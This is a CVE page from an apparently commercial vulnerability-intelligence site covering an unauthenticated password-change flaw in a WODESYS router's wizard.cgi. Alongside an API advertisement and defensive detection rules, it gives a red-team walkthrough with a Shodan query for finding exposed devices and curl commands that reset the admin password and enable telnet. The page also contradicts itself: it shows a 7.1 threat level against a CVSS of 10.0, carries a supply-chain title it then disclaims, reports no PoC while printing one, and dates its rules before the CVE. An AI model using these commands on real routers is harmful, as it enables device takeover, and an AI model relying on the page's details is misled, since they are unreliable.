☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-65010

CVE-2025-65010 Supply Chain Attack in Wodesys
📅 PUBLISHED: 2025-12-18 15:10 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65010 is a critical Broken Access Control vulnerability in the WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The flaw resides in the wizard.cgi endpoint, which is used during initial configuration. An unauthenticated attacker can change the admin panel password without any authorization, even after the initial setup is complete. This allows full compromise of the router’s administrative interface.

The vendor was notified but did not provide a vulnerable version range or patch. Only firmware version WDR28081123OV1.01 was confirmed vulnerable. The CVSS score is 10.0 (Critical) due to network-based, low-complexity exploitation with no privileges required and high impact on confidentiality, integrity, and availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a hardware device (router) and is not related to NPM, PyPI, Go, or Ruby packages. No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

  • CVSS Score: 10.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The threat level is Critical. An attacker can gain full administrative control over the router, enabling traffic interception, DNS poisoning, firmware modification, and use in botnets.

Deep Dive & Mechanics

The vulnerability exists in the wizard.cgi CGI script, which is intended for initial router setup. The endpoint does not enforce authentication or session validation. By sending a crafted HTTP POST request to /cgi-bin/wizard.cgi with parameters to change the admin password, an attacker can overwrite the existing credentials.

The router’s web server processes the request without checking if the user is authenticated. This is a classic case of Broken Access Control (CWE-306). The wizard.cgi script likely writes the new password directly to the router’s configuration file (e.g., /etc/shadow or a proprietary database) without verifying the current session.

Attack Flow:

  1. Attacker identifies a vulnerable router via Shodan or network scanning.
  2. Attacker sends a POST request to http://<router-ip>/cgi-bin/wizard.cgi with parameters like admin_password=newpass.
  3. The router accepts the request and changes the admin password.
  4. Attacker logs in with the new password and gains full control.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior. The wizard.cgi script likely contains code similar to:

// Vulnerable pseudo-code
void handle_wizard() {
    char *new_password = get_param("admin_password");
    if (new_password) {
        // No authentication check!
        write_password_to_config(new_password);
        printf("Password changed successfully");
    }
}

A patched version would require authentication:

// Patched pseudo-code
void handle_wizard() {
    if (!is_authenticated()) {
        printf("401 Unauthorized");
        return;
    }
    char *new_password = get_param("admin_password");
    if (new_password) {
        write_password_to_config(new_password);
        printf("Password changed successfully");
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  • Use a virtualized environment with a vulnerable WD-R608U router (firmware WDR28081123OV1.01) or emulate the CGI endpoint.
  • Tools: curl, Burp Suite, Metasploit (if module available), custom Python script.

Exploitation Steps:

  1. Scan for vulnerable routers:

    shodan search http.title:"WD-R608U" --fields ip_str,port
    
  2. Change admin password:

    curl -X POST http://<target-ip>/cgi-bin/wizard.cgi \
      -d "admin_password=attacker123"
    
  3. Verify access:

    curl -u admin:attacker123 http://<target-ip>/cgi-bin/status.cgi
    
  4. Full compromise (example):

    # Enable telnet
    curl -u admin:attacker123 http://<target-ip>/cgi-bin/set.cgi \
      -d "telnet_enable=1"
    telnet <target-ip>
    

Metasploit Module (if available):

# Placeholder for Metasploit module

Blue Team

Detection:

  • Monitor for POST requests to /cgi-bin/wizard.cgi from external IPs.
  • Alert on successful password changes without prior authentication.
  • Use the Sigma rule below.

Hunting:

  • Search logs for wizard.cgi access with parameters admin_password.
  • Check for sudden changes in router configuration or admin login failures.

Mitigation:

  • Isolate vulnerable routers behind a firewall.
  • Disable remote management if not needed.
  • Apply vendor patch when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST to /cgi-bin/wizard.cgi with admin_password parameter.
    • Unauthorized access to /cgi-bin/status.cgi or other admin endpoints.
  • File IOCs:
    • Modified /etc/shadow or router config file with new admin password hash.
  • Behavioral IOCs:
    • Router admin password changed without user action.
    • Unexpected telnet/SSH sessions from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_65010_WizardCGI_Exploit {
    meta:
        description = "Detects HTTP POST requests to wizard.cgi with admin_password parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65010"
    strings:
        $s1 = "POST /cgi-bin/wizard.cgi" ascii nocase
        $s2 = "admin_password=" ascii nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-65010 - Unauthenticated Password Change via wizard.cgi
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to wizard.cgi with admin_password parameter, indicating exploitation of CVE-2025-65010.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-65010
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/cgi-bin/wizard.cgi'
        cs-uri-query|contains: 'admin_password='
    condition: selection
falsepositives:
    - Legitimate initial configuration (rare after setup)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65010 - Unauthenticated Password Change via wizard.cgi"; flow:to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/wizard.cgi"; http.client_body; content:"admin_password="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable remote management and restrict access to the router’s web interface to trusted IPs only.
  • Workaround: If possible, block access to /cgi-bin/wizard.cgi via firewall or web server ACL.
  • Vendor Action: Contact WODESYS for a firmware patch. If unresponsive, consider replacing the router.
  • Long-term: Implement network segmentation and use routers with regular security updates.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65010/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.